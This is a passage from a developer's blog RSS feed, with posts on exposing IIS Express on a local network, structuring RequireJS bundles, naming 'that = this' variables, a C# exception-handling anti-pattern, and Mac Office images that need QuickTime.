     &amp;lt;binding protocol=&quot;http&quot; bindingInformation=&quot;*:1352:&quot; /&amp;gt;
 &amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;At this point you should be able to access your site using http://ip-address:1352 from the same machine that hosts your iis express (where ip-address is the ip address of the webserver machine).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Open up your firewall. Go to Windows Firewall and to the Advanced Settings. Create a new inbound rule allowing through your port.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;If you are not running a virtual machine or are running the webserver inside of a VM and your internet connection is bridged (check your VM’s network configuration) you should be done. If however you are using Network Address Translation (NAT) you have some work remaining.
    &lt;ol&gt;
      &lt;li&gt;Firstly you will need to configure port forwarding in your network settings. I recommend forwarding each port to itself so in my example I would be using 1352 -&amp;gt; 1352.&lt;/li&gt;
      &lt;li&gt;Configure your host machine’s Windows Firewall the same way that you configured your guest previously. You must allow through the inbound port that you hope to hit from an external device or else the firewall will stop requests before the VM ever gets a chance to process them.&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Congratulations, in just a dozen easy steps you have now opened up iis express! You should now be able to navigate to it from any device connected to the same network using http://your-host-machine-ip:1352. When you are not using a VM or using a bridged network configuration that will be http://your-webserver-machine-ip:1352.&lt;/p&gt;

&lt;h2 id=&quot;notes&quot;&gt;Notes&lt;/h2&gt;

&lt;p&gt;Note that some networks might be configured specifically to not allow inter-network access but this is not a common configuration.&lt;/p&gt;

&lt;p&gt;From David Woods: You should add that if you are trying to open up iisexpress on a VM, and the location is on a shared folder, then you need to reference it with the UNC path (//vmware-shared/something/blah) instead of the shared drive (Z:/something/blah).&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Setting Up RequireJs</title>
      <link>http://georgemauer.net/2013/09/26/setting-up-require-js.html</link>
      <pubDate>Thu, 26 Sep 2013 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2013/09/26/setting-up-require-js.html</guid>
      <description>&lt;p&gt;This talk is a write-up of a lightning talk I gave at &lt;a href=&quot;http://barcampnola.com/&quot;&gt;BarcampNola 6&lt;/a&gt;. &lt;a href=&quot;https://github.com/togakangaroo/setting-up-requirejs&quot;&gt;See here for a sample project demonstrating this techniqe&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://requirejs.org/&quot;&gt;RequireJs&lt;/a&gt; is an awesome module loader that complies with the AMD standard and in most cases the CommonJs standard as well. For my money, a lot of the “structure” that frameworks like backbone.js provide can also come out of AMD’s much simpler, module-based approach.&lt;/p&gt;

&lt;p&gt;But enough with the flame-bait, let’s talk about stuff that’s indisputable. The RequireJs documentation is comprehensive, informative, and nearly incomprehensible as to how to actually set stuff up.&lt;/p&gt;

&lt;p&gt;In my experience, this is because the it gives bad - or at least misleading - advice. At time of writing, here’s what the documentation for bootstrapping your application recommends:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
     &amp;lt;script data-main=&quot;scripts/app&quot; src=&quot;scripts/require.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;That is to say &lt;em&gt;“load require and then use it to load scripts/app.js”&lt;/em&gt; It is virtually identical therefore to&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
     &amp;lt;script src=&quot;scripts/require.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
     &amp;lt;script&amp;gt;
         require([&apos;scripts/app&apos;]);
     &amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This is the part that most people don’t understand and where a lot of people get in trouble. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-main&lt;/code&gt; is just a facade for a very simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require()&lt;/code&gt; invocation. And its certainly not the &lt;strong&gt;only&lt;/strong&gt; way to do things.&lt;/p&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The Problem&lt;/h2&gt;

&lt;p&gt;To be sure, if you are building a truly single-page application this is not an issue. Go ahead and use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-main&lt;/code&gt;. In my experience however, very few SPAs truly have only one page; there are frequently different “areas”. For example it is common for the transition between administrator and a user-facing areas to be full page requests with entirely different resource sets for each.&lt;/p&gt;

&lt;p&gt;The problem is that while the resources and modules used might vary, the configuration (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requirejs.config()&lt;/code&gt; call required to configure what directory scripts are in, any shims, path aliases, etc) is likely exactly the same for the two.&lt;/p&gt;

&lt;p&gt;Another issue emerges when using the &lt;a href=&quot;http://requirejs.org/docs/optimization.html&quot;&gt;RequireJs optimizer&lt;/a&gt;. The way this works is that during deployment, you point the optimizer at a javascript file containing a RequireJs module that starts your application. It will then walk the dependency tree concatenating, ordering, and optionally minifying all referenced modules. The result is your entire application in a single bootstrapping javascript file thereby minimizing both HTTP request count and size.&lt;/p&gt;

&lt;p&gt;Of course once you have multiple pages, walking the dependencies for each will generate bundles which contain overlapping code for common libraries such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jQuery&lt;/code&gt;. This eats up many of those same bytes that we saved by minifying to begin with!&lt;/p&gt;

&lt;h2 id=&quot;the-solution&quot;&gt;The Solution&lt;/h2&gt;

&lt;p&gt;The solution is to differentiate &lt;em&gt;global&lt;/em&gt; scripts such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jQuery&lt;/code&gt; and your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requirejs.config()&lt;/code&gt; from your page-specific ones. Ultimately your pages in deployment will be producing three javascript HTTP requests&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The RequireJs library itself&lt;/li&gt;
  &lt;li&gt;Configuration and modules used globally across all areas of your application&lt;/li&gt;
  &lt;li&gt;Modules required within the specific area&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The first two can safely be cached by the browser and will likely change relatively little.&lt;/p&gt;

&lt;p&gt;The global modules bootstrapper would look something like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    requirejs.config({
         baseUrl: &apos;/scripts&apos;
        ,shim: {
            underscore: {exports: &apos;_&apos;}
        }
        ,paths: {
            jquery: &apos;jquery-2.0.0&apos;
        }
    });
    require([&apos;jquery&apos;, &apos;underscore&apos;, &apos;globalHelpers&apos;]); 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;the require statement at the end does double-duty here. When running the application unoptimized it starts requirejs on loading these global files immediately so they are cashed by the time other parts of the application request them. When deploying, in the meantime, the configuration will be bundled along with these globally used scripts into a single file. These scripts can then be excluded from the bundle for the page itself (see addendum for more on this).&lt;/p&gt;

&lt;p&gt;With this in place, your script includes end up looking like this&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
     &amp;lt;script src=&quot;scripts/require.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
     &amp;lt;script&amp;gt;
         require([&apos;scripts/global&apos;], function(){
              require([&apos;clientApp&apos;]);  //or adminApp for the admin area, etc.
         });
     &amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It is a bit more code, but now everything can be grouped easily into three logical request chains and - after being optimized - three logical bundles.&lt;/p&gt;

&lt;p&gt;Nothing else needs to change.&lt;/p&gt;

&lt;h2 id=&quot;addendum&quot;&gt;Addendum&lt;/h2&gt;

&lt;p&gt;I should say that I’m not fully satisfied with all aspects of this system. Specifically, the global bootstrapper above and the build configuration file used by the optimizer are very similar, but different enough that one cannot be substituted for the other. For example, given the above, the build configuration will probably look something like this&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
    {
         baseUrl: &apos;../app/scripts&apos;                //where to find all our scripts
        ,dir: &apos;../build/scripts&apos;                      //where to output scripts

        ,optimize: &apos;uglify2&apos;
        ,generateSourceMaps: true

        ,shim: {
            underscore: {exports: &apos;_&apos;}
        }
        ,paths: {
            jquery: &apos;jquery-2.0.0&apos;
        }

        ,modules: [  //what should actually be built into bundles
            {
                name: &apos;global&apos;               //the global bundle
            }
            ,{
                 name: &apos;client&apos;               //the client page bundle
                ,exclude: [&apos;jquery&apos;, &apos;underscore&apos;, &apos;globalHelpers&apos;]
            }
            ,{
                 name: &apos;admin&apos;               //the admin page bundle
                ,exclude: [&apos;jquery&apos;, &apos;underscore&apos;, &apos;globalHelpers&apos;]
            }
        ]
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/jrburke/r.js/blob/master/build/example.build.js&quot;&gt;This example build configuration file is useful for learning all the optimizer configuration properties&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Note the many similarities! The shims and paths are exactly the same. But while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;global.js&lt;/code&gt; is a javascript file, this one is passed through a JSON parser. In addition, while the list of globals is explicitly included in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;globals.js&lt;/code&gt;, in the build configuration it is explicitly &lt;em&gt;excluded&lt;/em&gt; from all other modules.&lt;/p&gt;

&lt;p&gt;This is all sorts of awkward. I solved the issue with a custom template written for my build system that generates both files, but that is an article for another day.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Stop that = this&apos;ing</title>
      <link>http://georgemauer.net/2013/04/29/stop-that-equals-this-ing.html</link>
      <pubDate>Mon, 29 Apr 2013 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2013/04/29/stop-that-equals-this-ing.html</guid>
      <description>&lt;p&gt;From our chatlogs at Surge (editted for berevity and to make me seem like a better debater/speller).&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;GM: Can I just say, I hate&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;that = this
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;or
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;self = this
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;GM: Don’t anyone do that&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;GM: The pattern is fine, but at least give it a meaningful name&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;JA: Hmmm…..I’ll bite, devil’s advocate&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;JA: Why not folow an established convention? When javascript programmers see a variable name “that”, they immediately know what’s happening&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;TS: anyone who has worked in JS for more than 10 seconds does :)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;GM: @TS -  right, they know that here is a variable passed in from a broader scope. However, when you use a variable you care far more about what it reperesents than where it came from, and in order to learn what “that” represents you have to scan the whole file, find the line that assings &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var that = this;&lt;/code&gt; then figure out in your head what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; refers to.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;SP: yeah. it can get frustrating&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;GM: It really takes like 2 seconds to think of an appropriate name for the variable. I usually prefix with an _ just so that it sticks out a bit visually: _userModel, _slideViewer, _dialogWidget. Its not perfect but its a heck of a lot better than “that”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;GM: Variables should almost always be named after what they do/represent, not how they’re implemented. Clearly we are breaking this guideline if we’ve got variables named “that” in different files having nothing to do with each other. The argument that it’s a well known pattern isn’t wrong, just that there’s really no reason not to give it an even &lt;em&gt;more&lt;/em&gt; descriptive name and not even have to think of the pattern.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;GM: So I guess my real point is name things properly, it will be better for everyone always and “that”, “self” are just not great names.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Error Handling and the Message Repackaging Anti-Pattern</title>
      <link>http://georgemauer.net/2009/01/16/error-repacking-anti-pattern.html</link>
      <pubDate>Fri, 16 Jan 2009 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2009/01/16/error-repacking-anti-pattern.html</guid>
      <description>&lt;p&gt;I currently have an interesting responsibility at work.  I am functioning as the manager and single-point-of-contact for a team in India working on imporving the codebase for one of our more important ASP.Net sites.  I know what you’re thinkin.  Did I say interesting?  I meant infuriating.  At the very least I should get a good “Lessons Learned” post out of this.&lt;/p&gt;

&lt;p&gt;Overall the experience hasn’t been too bad though.  I’ve been managing to maintain a decent rapport with their project manager and team lead, deadlines have been missed, but no more than I secretly expected, and overall they seem like fairly competent guys.  Their work isn’t innovative, Agile, testable, or well factored, but its decent enough.&lt;/p&gt;

&lt;p&gt;Except for the exceptions.&lt;/p&gt;

&lt;p&gt;Browsing one of their recent commits to our SVN lately (ok, so technically speaking they couldn’t figure out Subversion so they ftp-ed and I did the commit for them) I was shocked to discover the following error-handling anti-pattern repeated 41 times!&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;cs&quot;&gt;
	try {
	  // Do Stuff
	}
	catch(Exception ex) {
	  throw new Exception(ex.Message);
	}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Do I get to name it?  Let’s call it the message repackaging anti-pattern.  And in case you’re not already reeling from this, the following is a mildly edited-down version of the letter I sent (Notice the eschewed profanity.  I believe a not insignificant achievement.)&lt;/p&gt;

&lt;p&gt;…&lt;/p&gt;

&lt;p&gt;Dear Team,
While looking through some of your committed code I noticed quite a few (a quick search shows 41) places where you have code of the following form.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;cs&quot;&gt;
	try {
	 // ...
	}
	catch(Exception ex) {
	 throw new Exception(ex.Message);
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let me be absolutely clear: This is the worst possible way of handling exceptions!&lt;/p&gt;

&lt;p&gt;Let’s go over why:&lt;/p&gt;

&lt;p&gt;Not doing anything inside the exception. If nothing happens within the catch block then what purpose does it serve? I have seen people prepare their code like this in anticipation of going back and adding logging at some later date. Although this is not necessarily the best logging solution, it is acceptable when you actually implement the code! However, preparing your method like this in anticipation of some future date does nothing but make the code difficult to read. It’s not like it is that hard to go back later and add a try…catch block; if you’re using a refactoring tool like CodeRush it is literally four keystrokes.&lt;/p&gt;

&lt;p&gt;Catching the base Exception. Not every exception can have something be done about it. The canonical example is an OutOfMemoryException or one implying the database might be down. Is there anything to do in this case other than drop the user to an error page? I would even go so far as to say that most exceptions fall in this category – you just can’t do anything about them.  I strongly encourage you to read Stop Catching Exceptions for a more in depth discussion.&lt;/p&gt;

&lt;p&gt;Treating the message as if it were the most important thing. Exceptions usually carry a heck of a lot more information than just their message. They carry their type and a StackTrace and a list of any inner exceptions. Many specializations of the Exception base have even more information specific to that type of error. Out of all that information, the message is arguably the least important – for debugging I would take a StackTrace over a message any day. But by creating an exception off of the message you are effectively stripping out all this useful stuff! If for some reason, you must create a new exception, at least use the constructor overload that includes the original error as an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InnerException: new Exception(“I don’t know why I’m creating this”, ex);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Why create a new Exception object at all? You already have a perfectly valid exception object. It is a simple matter to do:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;cs&quot;&gt;
	try {
	 // ...
	}
	catch(Exception ex) {
	 // Log or otherwise handle the exception
	 throw; // Same as throw ex;
	}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So in conclusion&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Don’t catch an exception if you aren’t going to do anything with it.&lt;/li&gt;
  &lt;li&gt;Try to catch exceptions at the appropriate level and for the appropriate task. (logging inside private methods is probably unnecessary)&lt;/li&gt;
  &lt;li&gt;Do not create a new exception, throw the old one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Please take this as healthy constructive criticism. I hope that you agree with me on these points and that we can take care of this issue properly from now on.&lt;/p&gt;

&lt;p&gt;…..&lt;/p&gt;

&lt;p&gt;A bit harsh perhaps, but I feel like for all the reasons above the immensity of this mistake cannot be overstated.  If you are doing this in your code STOP NOW and apologize to the maintenance gods!  You might even need to sacrifice a goat to appease them.  It’s that bad.&lt;/p&gt;

&lt;p&gt;In any case, the recent commit has only 38 instances of this error.  So at least we’re getting better!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>QuickTime and a TIFF (Uncompressed) decompressor are needed to see this picture</title>
      <link>http://georgemauer.net/2008/05/12/quicktime-and-a-tiff-uncompressed-decompressor-are-needed.html</link>
      <pubDate>Mon, 12 May 2008 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2008/05/12/quicktime-and-a-tiff-uncompressed-decompressor-are-needed.html</guid>
      <description>&lt;p&gt;Microsoft Office on a Mac can’t save imagesQuickTime and a TIFF (Uncompressed) decompressor are needed to see this picture&lt;/p&gt;

&lt;p&gt;I have run into this problem a few times and I figured I’d blog about it both to vent my frustration and to make a note for the next time this comes back to haunt me.&lt;/p&gt;

&lt;p&gt;So you get a shiny new Macintosh, you fire it up to discover that the friendly folks over at apple have pre-loaded it with the Mac version of Microsoft Office. Including Excel, PowerPoint, and your favorite word processor Microsoft Word! (Oh just admit it, you’ve never tried a different one.) So you fire it up and start pumping out document after document. It’s wonderful; you get the familiarity of MS Office with the slickness of a Mac. You format up your word file, place a nice logo or banner image as a header and you send it to your friends, or Wendy down in marketing, or even worse your boss. They are of course not enlightened like you; they’re still using that old bludgeon, a Windows PC. Oh well, at least you’ll get to brag to them later about your increased productivity and transcendent, almost religious, user experience. And then you get the call: “These pictures aren’t working!” they cry. You send them the file again – perhaps it got corrupted in email transit – but no, the problems persist. After half a day of this you are forced to trek over to the foolish nonce’s computer to witness for yourself how they are possibly managing to screw this simple process up. You make sure the files are identical – same checksum, no corruption and you open it up to see…to see:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    “QuickTime and a TIFF (Uncompressed) decompressor are needed to see this picture.”
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Huh? Excuse me? Where are your images? Does QuickTime suddenly have something to do with Word? Does the Word spelling dictionary even recognize ‘decompressor’ as a valid term? The answers are, in order: They’re there but invisible, it does on a Mac, and an emphatic no.&lt;/p&gt;

&lt;p&gt;I don’t know if it was laziness, an evil marketing ploy, or what but it seems like the team responsible for the Mac version of MS Office used QuickTime image compression for storing some formats of embedded image files. The upshot of this is that those images are not visible on a PC, will never be visible on a PC, and you’re going to be left feeling frustrated, embarrassed, and probably a little violated. God forbid this was a powerpoint file.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://www.le.ac.uk/av/pms12/ppt/qt_decompressor.html&quot;&gt;The solutions to this quandary aren’t good&lt;/a&gt;. You basically have to either reinsert the images into the file on a PC or convert the images on the Mac to uncompressed bitmaps, re-insert them, and re-save the file with no compression. Needless to say this is awful programming. Really like mid-90s Windows 95 level bad. I actually would not be surprised if this WAS a dickish screw you to Mac users from somewhere deep in the Microsoft psyche (read marketing). Either that or they just didn’t feel like porting that part of the software properly. This has also been a problem for a long time with no effort by the powers that be for a resolution. Just when I was starting to think that Micro$oft ain’t all that bad. Sigh.&lt;/p&gt;

&lt;p&gt;So in conclusion what’s the final word? Well there is one solution, and – you might have guessed it by now – &lt;a href=&quot;http://download.openoffice.org/&quot;&gt;it’s called Open Office&lt;/a&gt;. Presto! Now don’t you definitely feel better than that silly co-worker/boss of yours?&lt;/p&gt;
</description>
    </item>
    

  </channel>
</rss>
